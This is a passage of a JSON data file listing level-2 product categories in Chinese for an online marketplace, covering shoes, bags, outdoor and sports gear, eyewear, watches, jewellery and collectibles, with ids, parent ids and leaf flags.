袋巾","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21516,"name":"领部配件","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21513,"name":"领带夹","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21503,"name":"帽子","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21504,"name":"手套","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21510,"name":"围巾/手套/帽子套件","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21508,"name":"围巾/丝巾/披肩","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21511,"name":"鞋包/皮带配件","parent_cid":20093,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":21507,"name":"袖扣","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":21509,"name":"腰带/皮带/腰链","parent_cid":20093,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":32604,"name":"保证金","parent_cid":32603,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34016,"name":"竞拍保证金","parent_cid":32603,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20225,"name":"低帮鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20226,"name":"帆布鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20227,"name":"高帮鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20228,"name":"高跟鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20184,"name":"凉鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20249,"name":"女鞋配件","parent_cid":20006,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20185,"name":"拖鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20187,"name":"靴子","parent_cid":20006,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20186,"name":"雨鞋","parent_cid":20006,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20235,"name":"低帮鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20236,"name":"帆布鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20237,"name":"高帮鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20202,"name":"凉鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20255,"name":"男鞋配件","parent_cid":20010,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20204,"name":"皮鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20203,"name":"拖鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20206,"name":"靴子","parent_cid":20010,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20205,"name":"雨鞋","parent_cid":20010,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20256,"name":"功能箱包","parent_cid":20011,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20207,"name":"卡套","parent_cid":20011,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20258,"name":"男士包袋","parent_cid":20011,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20257,"name":"女士包袋","parent_cid":20011,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20267,"name":"箱包相关配件","parent_cid":20011,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20502,"name":"冲浪/滑水/帆板","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20528,"name":"垂钓装备","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20511,"name":"刀具/多用工具","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20548,"name":"登山攀岩攀冰","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20521,"name":"登山杖/手杖","parent_cid":20026,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20522,"name":"防潮垫/地席/枕头","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20512,"name":"防护/救生装备","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20509,"name":"风筝/滑翔伞","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20533,"name":"滑雪装备","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20546,"name":"户外餐饮用品","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20529,"name":"户外服装","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20531,"name":"户外鞋靴","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20545,"name":"户外休闲家具","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20530,"name":"户外照明","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20540,"name":"军迷服饰/军迷用品","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20547,"name":"旅行便携装备","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20534,"name":"潜水装备","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20491,"name":"睡袋","parent_cid":20026,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20532,"name":"水上船艇","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20505,"name":"通讯/导航/户外表类","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20524,"name":"望远镜/夜视仪/户外眼镜","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20541,"name":"洗漱清洁/护理用品","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20542,"name":"饮水用具/盛水容器","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20504,"name":"帐篷/天幕/帐篷配件","parent_cid":20026,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20496,"name":"棒球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20516,"name":"保龄球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20506,"name":"冰球/速滑/冰上运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20493,"name":"壁球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":34047,"name":"裁判/教练用品","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20536,"name":"电子竞技","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20490,"name":"F1/赛车","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20514,"name":"飞镖/桌上足球/室内休闲","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20517,"name":"橄榄球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20520,"name":"高尔夫","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20507,"name":"毽子/空竹/民间运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20535,"name":"击剑运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20499,"name":"篮球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20508,"name":"轮滑/滑板/极限运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20503,"name":"麻将/棋牌/益智类","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20513,"name":"慢跑/有氧运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20538,"name":"马术运动","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20495,"name":"排球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20526,"name":"跑步机/大型健身器械","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20515,"name":"乒乓球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20543,"name":"赛事纪念品","parent_cid":20027,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20494,"name":"射箭","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20527,"name":"踏步机/中小型健身器材","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20492,"name":"台球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20523,"name":"跆拳道/武术/搏击","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20550,"name":"田径运动器材","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20519,"name":"跳舞毯","parent_cid":20027,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20500,"name":"网球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20510,"name":"舞蹈/健美操/体操","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20525,"name":"游乐场/体育场馆设施","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20497,"name":"游泳","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20498,"name":"瑜伽","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20518,"name":"羽毛球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20537,"name":"运动护具","parent_cid":20027,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20551,"name":"运动紧急用品","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20544,"name":"运动类活动/赛事","parent_cid":20027,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34048,"name":"运动用品","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20501,"name":"足球","parent_cid":20027,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20549,"name":"其它运动用品","parent_cid":20027,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20738,"name":"棒球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20716,"name":"板鞋/休闲鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20736,"name":"帆布鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20735,"name":"健步鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20739,"name":"篮球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20741,"name":"老爹鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20737,"name":"排球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20743,"name":"跑步鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20760,"name":"乒乓球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20717,"name":"童鞋/青少年鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20740,"name":"网球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20761,"name":"羽毛球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20799,"name":"运动沙滩鞋/凉鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20762,"name":"运动拖鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20801,"name":"综合训练鞋/室内健身鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20742,"name":"足球鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20798,"name":"其它运动鞋","parent_cid":20046,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20834,"name":"电动车零/配件","parent_cid":20051,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20837,"name":"电动车维修工具","parent_cid":20051,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20835,"name":"电动车整车","parent_cid":20051,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20836,"name":"电动车装备区","parent_cid":20051,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20855,"name":"单肩背包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20862,"name":"防水箱包","parent_cid":20052,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20854,"name":"防雨罩/背包配件","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20864,"name":"户外摄影包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20850,"name":"挎包/拎包/休闲包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20861,"name":"钱包卡套","parent_cid":20052,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20838,"name":"手包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20865,"name":"收纳配件包","parent_cid":20052,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20839,"name":"手套","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20856,"name":"双肩背包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20851,"name":"贴章/魔术贴章","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20847,"name":"头巾/遮耳","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20842,"name":"腿套","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20843,"name":"鞋垫","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20848,"name":"雪套/套脚","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20840,"name":"腰包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20841,"name":"腰带","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20863,"name":"运动鼓包/旅行包","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20858,"name":"运动护具","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20852,"name":"运动帽","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20860,"name":"运动首饰","parent_cid":20052,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20853,"name":"运动袜","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20849,"name":"雨衣/雨裤/雨披","parent_cid":20052,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20871,"name":"健身服装","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20868,"name":"跑步服","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20876,"name":"运动风衣","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20879,"name":"运动茄克/外套","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20870,"name":"运动裤","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20877,"name":"运动马甲","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20878,"name":"运动毛衣/线衫","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20874,"name":"运动棉衣","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20872,"name":"运动内衣","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20866,"name":"运动POLO衫","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20875,"name":"运动球服","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20869,"name":"运动裙","parent_cid":20053,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20873,"name":"运动套装","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20867,"name":"运动T恤","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20880,"name":"运动卫衣/套头衫","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20881,"name":"运动羽绒服","parent_cid":20053,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20884,"name":"骑行服饰/骑行装备","parent_cid":20054,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20882,"name":"自行车/单车装备","parent_cid":20054,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20883,"name":"自行车零/配件","parent_cid":20054,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20886,"name":"自行车修车工具","parent_cid":20054,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20885,"name":"自行车整车","parent_cid":20054,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20151,"name":"功能眼镜","parent_cid":20003,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20150,"name":"光学眼镜","parent_cid":20003,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20156,"name":"品牌打火机及配件","parent_cid":20003,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20154,"name":"瑞士军刀","parent_cid":20003,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20152,"name":"太阳眼镜","parent_cid":20003,"level":2,"enable":1,"is_leaf":true,"industry_status":0,"extra":null,"is_get_child":false},{"id":20158,"name":"眼镜配件、护理剂","parent_cid":20003,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20148,"name":"烟具","parent_cid":20003,"level":2,"enable":1,"is_leaf":false,"industry_status":0,"extra":null,"is_get_child":true},{"id":20705,"name":"怀表","parent_cid":20047,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20707,"name":"配件","parent_cid":20047,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20706,"name":"腕表","parent_cid":20047,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20998,"name":"耳饰","parent_cid":20080,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33507,"name":"发饰","parent_cid":20080,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21290,"name":"婚庆饰品","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21000,"name":"脚链","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21024,"name":"戒指/指环","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":31885,"name":"精选品牌","parent_cid":20080,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20995,"name":"手链","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21291,"name":"首饰收纳","parent_cid":20080,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20996,"name":"手镯","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21001,"name":"项链","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":21025,"name":"项坠/吊坠","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20999,"name":"胸针","parent_cid":20080,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":33694,"name":"银饰","parent_cid":20080,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20425,"name":"茶道器具","parent_cid":20021,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20392,"name":"建盏","parent_cid":20021,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20390,"name":"陶/瓷/瓷片","parent_cid":20021,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20393,"name":"紫砂","parent_cid":20021,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20448,"name":"其它收藏品","parent_cid":20021,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20399,"name":"翡翠","parent_cid":20023,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20407,"name":"和田玉","parent_cid":20023,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20429,"name":"琥珀蜜蜡","parent_cid":20023,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20451,"name":"其他天然玉石","parent_cid":20023,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21728,"name":"海外工艺品","parent_cid":20110,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":21735,"name":"少数民族特色工艺品","parent_cid":20110,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20410,"name":"手工艺/民俗","parent_cid":20110,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32660,"name":"沉香","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":28451,"name":"刀剑相关","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20427,"name":"高端家具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20412,"name":"观赏石/奇石/矿物晶体","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32662,"name":"古董艺术品","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20419,"name":"古玩杂项","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33795,"name":"红木家具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20437,"name":"花道器具","parent_cid":33691,"level":2,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":20424,"name":"花鸟园艺","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":32661,"name":"金石篆刻","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20406,"name":"金属/搪瓷器具","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20413,"name":"连环画/古籍善本","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20405,"name":"票证/标牌章","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":33695,"name":"菩提/核桃","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":20395,"name":"钱币","parent_cid":33691,"level":2,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_ge